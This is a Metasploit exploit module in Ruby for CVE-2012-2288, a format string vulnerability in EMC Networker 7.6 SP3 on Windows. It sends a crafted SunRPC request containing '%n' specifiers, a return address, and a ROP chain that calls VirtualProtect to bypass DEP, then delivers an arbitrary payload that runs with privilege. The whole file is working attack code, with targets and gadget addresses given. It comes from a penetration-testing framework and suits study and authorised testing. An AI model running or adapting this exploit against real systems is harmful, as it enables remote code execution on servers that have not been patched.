EMC Networker Format String



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::SunRPC

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'EMC Networker Format String',
            'Description'    => %q{
                    This module exploits a format string vulnerability in the lg_sprintf function
                as implemented in liblocal.dll on EMC Networker products. This module exploits the
                vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,
                version 0x02, and procedure 0x06. This module has been tested successfully on EMC
                Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
            },
            'Author'         =>
                [
                    'Aaron Portnoy', # Vulnerability Discovery and analysis
                    'Luigi Auriemma <aluigi[at]autistici.org>', # Vulnerability Discovery and analysis
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2012-2288' ],
                    [ 'OSVDB', '85116' ],
                    [ 'BID', '55330' ],
                    [ 'URL', 'http://blog.exodusintel.com/2012/08/29/when-wrapping-it-up-goes-wrong/' ],
                    [ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ]
                ],
            'Platform'       => [ 'win' ],
            'Payload'        =>
                {
                    'BadChars' => "\x00\x0d\x0a\x25\x2a",
                    'DisableNops' => true,
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
                },
            'Targets'        =>
                [
                    ['EMC Networker 7.6 SP3 / Windows Universal',
                        {
                            'Ret' => 0x7c354dac, # ret from MSVCR71.dll
                            'Offset' => 156,
                            'DEP' => true
                        }
                    ],
                    ['EMC Networker 7.6 SP3 / Windows XP SP3',
                        {
                            'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll
                            'Offset' => 156,
                            'DEP' => false
                        }
                    ],
                    ['EMC Networker 7.6 SP3 / Windows 2003 SP2',
                        {
                            'Ret' => 0x7c354dac, # ret from MSVCR71.dll
                            'Offset' => 156,
                            'DEP' => true
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'Privileged'     => true,
            'DisclosureDate' => 'Aug 29 2012'))

    end

    def exploit

        begin
            if (not sunrpc_create('tcp', 0x5F3DD, 2))
                fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')
            end

            fs = "%n" * target['Offset']
            fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll
            if target['DEP']
                rop_gadgets =
                    [
                        # rop chain generated with mona.py
                        # The RopDb mixin isn't used because there are badchars
                        # which must be avoided
                        0x7c354dab,    # POP EBP # RETN [MSVCR71.dll]
                        0x7c354dab,    # skip 4 bytes [MSVCR71.dll]
                        0x7c37678f,    # POP EAX # RETN [MSVCR71.dll]
                        0xfffffdff,    # Value to negate, will become 0x00000201
                        0x7c34d749,    # NEG EAX # RETN [MSVCR71.dll]
                        0x7c362688,    # POP EBX # RETN [MSVCR71.dll]
                        0xffffffff,    #
                        0x7c345255,    # INC EBX # FPATAN # RETN [MSVCR71.dll]
                        0x7c363cff,    # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]
                        0x7c34592b,    # POP EDX # RETN [MSVCR71.dll]
                        0xffffffc0,    # Value to negate, will become 0x00000040
                        0x7c351eb1,    # NEG EDX # RETN [MSVCR71.dll]
                        0x7c37765f,    # POP ECX # RETN [MSVCR71.dll]
                        0x7c38ecfe,    # &Writable location [MSVCR71.dll]
                        0x7c34a490,    # POP EDI # RETN [MSVCR71.dll]
                        0x7c347f98,    # RETN (ROP NOP) [MSVCR71.dll]
                        0x7c364612,    # POP ESI # RETN [MSVCR71.dll]
                        0x7c3415a2,    # JMP [EAX] [MSVCR71.dll]
                        0x7c344cc1,    # POP EAX # RETN [MSVCR71.dll]
                        0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
                        0x7c378c81,    # PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
                        0x7c345c30,    # ptr to 'push esp #  ret ' [MSVCR71.dll]
                    ].pack("V*")
                fs << rop_gadgets
            end
            fs << payload.encoded

            xdr = XDR.encode(0, 2, rand_text_alpha(10), XDR.encode(fs, rand_text_alpha(10)), 2)
            sunrpc_call(6, xdr)
            sunrpc_destroy

        rescue Rex::Proto::SunRPC::RPCTimeout
            print_error('RPCTimeout')
        rescue EOFError
            print_error('EOFError')
        end
    end

end